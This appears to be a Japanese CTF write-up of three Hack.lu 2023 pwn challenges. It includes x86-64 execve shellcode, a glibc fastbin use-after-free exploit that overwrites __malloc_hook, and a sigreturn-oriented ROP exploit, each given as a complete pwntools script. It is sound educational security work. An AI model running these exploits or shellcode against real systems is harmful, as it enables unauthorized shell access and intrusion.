はじめに
コンサルティングサービス部の鈴木です。普段はレッドチーム業務を担当しています。
今回は2023年10月14日から16日に開催されたHack.lu CTFにTeam Enuの一員として参加してきたので、技術的な解説記事を書こうと思います。
競技ページ: https://flu.xxx/challenges
Destiny Digits
対象のプログラムを解析するとおおよそ以下のような動作になっていました。
1. データを受け取る
2. 4バイトの整数列(ビッグエンディアン)としてデータをソートする
3. データを機械語として実行する
送りこんだ機械語を実行することができますが、
4バイトの整数としてソートされてコードが崩れてしまいます。
これを解決するために、以下のように本当に実行したい命令の前にjmp命令を置きます。
ソートされても順序が変化しないようにjmp命令のオフセット部分を調整しておいて、
余った2バイト分のスペースを使ってプログラムを組みます。
実行したいプログラムは以下のようにexecve("/bin/sh", {"/bin/sh", NULL}, NULL);
を実行するプログラムです。
最初のmov rdi, ...
の部分だけは1命令で2バイトより大きくなってしまいますが、
運よくソートされても順序が変化しないデータ列になっているので、このまま使います。
[bits 64] ; rdi <- p64("//bin/sh") mov rdi, 0x68732f6e69622f2f mov al, 59 ; rcx is 0 push rcx ; (top) -> 0 push rdi push rsp pop rdi ; rdi = "//bin/sh\0" push rcx ; push NULL push rdi ; create { "//bin/sh", NULL } push rsp pop rsi ; rsi = { "//bin/sh", NULL } syscall ; execve("//bin/sh", { "//bin/sh", NULL }, NULL);
jmpの手法と上のシェルコードを組み合わせて、最終的に以下のような命令列を送って、フラグを取ることができました。
[bits 64] ; nasm this-file.asm entry: ; rdi <- p64("//bin/sh") mov rdi, 0x68732f6e69622f2f mov al, 59 jmp short $+2 push rcx ; (top) -> 0 nop jmp short $+6 db 0, 0 jmp short $+6 push rdi push rsp jmp short $+10 db 0, 0 jmp short $+10 db 1, 0 jmp short $+10 pop rdi ; rdi = "//bin/sh\0" push rcx ; push NULL jmp short $+14 db 0, 0 jmp short $+14 db 1, 0 jmp short $+14 db 2, 0 jmp short $+14 push rdi ; { "//bin/sh", NULL } push rsp jmp short $+18 db 0, 0 jmp short $+18 db 1, 0 jmp short $+18 db 2, 0 jmp short $+18 db 3, 0 jmp short $+18 pop rsi ; rsi = { "//bin/sh", NULL } nop jmp short $+22 db 0, 0 jmp short $+22 db 1, 0 jmp short $+22 db 2, 0 jmp short $+22 db 3, 0 jmp short $+22 db 4, 0 jmp short $+22 syscall
このように実際に実行したい命令列にjmp命令を混ぜる手法は、
ブラウザなどのJITコンパイラに対する攻撃で使われる手法で、
状況はまったく違いますが、そこから着想を得てこの問題を解くことができました。
New House
$ ./new_house Hello fellow architect! Are you ready to design your new house? During the construction of the foundation, we found something interesting in the ground: 0x7f5e74000000 rooms: 0/8 deleted rooms: 0/1 (1) add new room (2) delete existing room (3) design a room (4) list rooms >>>
プログラムの機能として以下の4つのことができます。
- roomを追加する
- room(の中のdata)を消す
- roomの中のdataに書き込む
- roomの情報を表示する
roomの構造体は以下のようになっていました。
struct room { char name[16]; char* data; // heap uint64_t data_size; };
バグはroom.dataをfreeしたあともroom.dataのポインタが残っていて、
そのまま書き込みなどができてしまうというバグです。
このようなバグはUse After Freeと呼ばれます。
ヒープ領域に関するバグなので、問題環境のヒープがどのような構造になっているかを簡単に解説します。glibcはfreeされた領域を連結リストで管理するようになっていて、
この問題で使われていたバージョンだと、ある程度小さい領域は
fastbinというサイズごとに作られた専用の単方向連結リストにつなぐようになっていました。
(問題で使われていたglibcはだいぶ古く、現在広く使われているものと挙動が異なります。)
このfastbinのリストは次のmallocで返す領域を決めるので、
Use After Freeを使ってリストを書き換えれば次のmallocで重要変数付近の領域を返す
ことも可能です。
次に、mallocの返り値でどこを返すべきかを考えます。malloc系の問題でよくターゲットになる変数として、glibcの__malloc_hookがあります。これはデバッグ用の機能で、__malloc_hookに関数のアドレスが入っているとmallocの内部でその関数が呼ばれます。
例えば__malloc_hook = systemのときにmalloc(10)が呼ばれるとsystem(10)がmallocの内部で呼ばれます。これを使って、シェルを立ち上げます。
(ここもglibcのバージョンアップで変わっていて、この手法は古いglibcでしか使えません。)
この手法には一つ問題があって、
mallocでfastbinから領域を返す際に、その領域のメタデータに適正なサイズが書かれているかというチェックがされます。
https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L3577
malloc_hookの周辺領域を見てみるとlibcのアドレスがいくつか書かれています。
これを前述のサイズチェックを通過するために利用します。
libcのアドレスは上位バイトが0x7fになっていて、この部分がサイズとして解釈されるようにリストの書き換え時にアドレスをずらしておきます。
サイズの下位bitはサイズと直接関係ないフラグとして使われる仕様なので、0x7fでも0x70のサイズチェックを通過できます。これでサイズチェックの問題も解決できました。
エクスプロイトの流れは以下のようになります。
1. 0x70のfastbinに入るサイズ(0x58 < x <= 0x68)のmallocをして、freeする
2. freeした領域の先頭(連結リストのポインタ部分)に、サイズチェックをしたときにサイズ部分が0x7Xになるようにmalloc_hookより少し低いアドレスを書き込む
3. malloc(0x68)を2回する
4. 2回目のmallocで返ってきた領域にsystem関数のアドレスを書き込む
5. libcの"/bin/sh"のアドレスを計算して、malloc("/bin/sh")になるようにmallocを呼ぶ
完成したエクスプロイトを以下に示します。
#!/usr/bin/env python3 from pwn import * # pip3 install pwntools libc_file = './libc.so.6' libc = ELF(libc_file) room_cnt = 0 delete_cnt = 0 def menu(r, n): r.sendlineafter(b'>>> ', str(n).encode()) def add(r, name, size): global room_cnt assert room_cnt < 8 assert len(name) <= 16 menu(r, 1) r.sendafter(b'roomname? ', name) r.sendlineafter(b'roomsize? ', str(size).encode()) result = room_cnt room_cnt += 1 return result def delete(r, idx): global delete_cnt assert delete_cnt < 1 menu(r, 2) r.sendlineafter(b'roomnumber? ', str(idx).encode()) delete_cnt += 1 def edit(r, idx, what): global room_in_use assert idx < room_cnt menu(r, 3) r.sendlineafter(b'roomnumber? ', str(idx).encode()) r.sendafter(b'room? ', what) def ls(r): menu(r, 4) result = [] for i in range(room_cnt): room_id_str = b'room-%d: ' % i data = r.recvuntil(room_id_str) if i == 0: continue result.append(data[len(room_id_str):]) if 0 < room_cnt: result.append(r.recvuntil(b'\n')[:-1]) return result def debug(r): menu(r, 5) def main(): r = remote('flu.xxx', 10170) r.recvuntil(b'ground: ') libc_base = int(r.recvuntil(b'\n')[:-1], 16) log.info('libc_base = ' + hex(libc_base)) first = add(r, b'first', 0x68) delete(r, first) libc_base_gdb = 0x00007ffff7800000 malloc_hook_gdb = 0x00007ffff7baabf0 libc_binsh_gdb = 0x7ffff79728d5 malloc_hook = libc_base - libc_base_gdb + malloc_hook_gdb libc_binsh = libc_base - libc_base_gdb + libc_binsh_gdb edit(r, first, p64(malloc_hook-27-8)) guard = add(r, b'guard', 0x68) hook = add(r, b'hook', 0x68) libc_one_gadget = libc_base + 0x40e36 edit(r, guard, b'/bin/sh\0') edit(r, hook, b'A'*19 + p64(libc_base + libc.symbols['system'])) add(r, b'trigger', libc_binsh) r.interactive() if __name__ == '__main__': main()
pong
pong: file format elf64-x86-64 Disassembly of section .text: 0000000000001000 <_start>: 1000: 41 b8 00 00 00 00 mov r8d,0x0 1006: 48 89 e5 mov rbp,rsp 1009: 48 81 ec 00 02 00 00 sub rsp,0x200 0000000000001010 <loop>: 1010: ba 00 02 00 00 mov edx,0x200 1015: 48 89 e6 mov rsi,rsp 1018: bf 00 00 00 00 mov edi,0x0 101d: b8 00 00 00 00 mov eax,0x0 1022: 0f 05 syscall # read(0, rsp, 0x200) 1024: ba 00 02 00 00 mov edx,0x200 1029: 48 89 ee mov rsi,rbp 102c: bf 01 00 00 00 mov edi,0x1 1031: b8 01 00 00 00 mov eax,0x1 1036: 0f 05 syscall # write(1, rbp, 0x200) 1038: 48 31 c0 xor rax,rax 103b: 49 ff c0 inc r8 103e: 49 83 f8 04 cmp r8,0x4 1042: 7c cc jl 1010 <loop> 1044: c3 ret
アセンブリ言語で書かれたバイナリで、大きなバッファオーバーフローがあります。
また、スタック上のデータをリークしてしまうバグもあり、これによってバイナリが読み込まれているアドレスがわかります。
この問題ではRIPを取るのは簡単ですが、与えられたバイナリがとても小さく、単純なコードの再利用では引数に使うレジスタに任意の値をセットするのが難しそうです。
そこで、sigreturn oriented programmingというテクニックを使います。
https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6956568
sigreturnはシグナルハンドラからもとの中断されていたコードに復帰するときに使われる
システムコールで、スタックから中断前のレジスタの状態を復元します。
これを利用して、あらかじめスタックに積んでおいた値をレジスタにセットします。
sigreturnはRIPとすべての汎用レジスタに値をセットできるので、
任意のアドレスに任意の引数をセットした状態でジャンプすることができます。
問題のバグでスタックに大量のデータを書き込むことはできるので、
あとはsigreturnを呼び出すことができればいろいろできそうです。
与えられたバイナリで使えそうなROPガジェットを探すとinc eax; ... ; ret
があります。これを何回か繰り返し使ってeaxにsigreturnのシステムコール番号をセットして、バイナリの中のsyscallにジャンプするようなROPを組めば任意のコードが実行できます。
最終的に完成したエクスプロイトを以下に示します。
#!/usr/bin/env python3 from pwn import * # pip3 install pwntools def u64x(data): return u64(data.ljust(8, b'\0')) def p64x(*nums): data = b'' for num in nums: data += p64(num) return data def main(): r = remote('flu.xxx', 10060) r.send(p64(0xc0ffee)) data = r.recv(0x200) binary_base = -1 for i in range(0x200//8): val = u64x(data[8*i:8*i+8]) if (val & 0xfff) == 0x040: binary_base = val - 0x40 print(hex(val)) log.info('binary_base = ' + hex(binary_base)) for _ in range(2): r.send(p64(0xc0ffee)) r.recv(0x200) sys_sigreturn = 15 syscall_clear_rax_ret = 0x1036 + binary_base inc_eax = 0x103c + binary_base free_space = 0x2000 + binary_base # read(0, free_space, 0xf00) # reference: https://inaz2.hatenablog.com/entry/2014/07/30/021123 stack = b'' stack += p64x(inc_eax) * sys_sigreturn stack += p64x(syscall_clear_rax_ret) # sigreturn stack += b'A' * 40 stack += p64x(4) * 8 # r8-r15, r8 = 4 to skip the branch stack += p64x(0) # rdi stack += p64x(free_space) # rsi stack += p64x(0) # rbp stack += p64x(0) # rbx stack += p64x(0xf00) # rdx stack += p64x(0) # rax stack += p64x(0) # rcx stack += p64x(free_space + 0x18) # rsp stack += p64x(syscall_clear_rax_ret) # rip stack += p64x(0) # eflags stack += p64x(0x33) # cs, gs, fs stack += p64x(0) * 4 stack += p64x(0) # &fpstate assert len(stack) <= 0x200 r.send(stack) r.recv(0x200) # prepare { "/bin/sh", NULL } stack2 = b'' stack2 += b'/bin/sh\0' stack2 += p64x(free_space, 0) # execve("/bin/sh", { "/bin/sh", NULL }, NULL); # reference: https://inaz2.hatenablog.com/entry/2014/07/30/021123 stack2 += p64x(inc_eax) * sys_sigreturn stack2 += p64x(syscall_clear_rax_ret) # sigreturn stack2 += b'A' * 40 stack2 += p64x(0) * 8 # r8-r15 stack2 += p64x(free_space) # rdi stack2 += p64x(free_space + 8) # rsi stack2 += p64x(0) # rbp stack2 += p64x(0) # rbx stack2 += p64x(0) # rdx stack2 += p64x(59) # rax stack2 += p64x(0) # rcx stack2 += p64x(0) # rsp stack2 += p64x(syscall_clear_rax_ret) # rip stack2 += p64x(0) # eflags stack2 += p64x(0x33) # cs, gs, fs stack2 += p64x(0) * 4 stack2 += p64x(0) # &fpstate r.send(stack2) r.interactive() if __name__ == '__main__': main()
おわりに
今回は Hack.lu CTF 2023のpwn問題の解説をしました。内容は古いテーマが多かったように思いますが、sigreturn ROPは今回初めてエクスプロイトを書いたのでだいぶ時間がかかってしまいました。こうした問題もより効率的に解けるように、今後も研鑽を積んでいきたいと思います。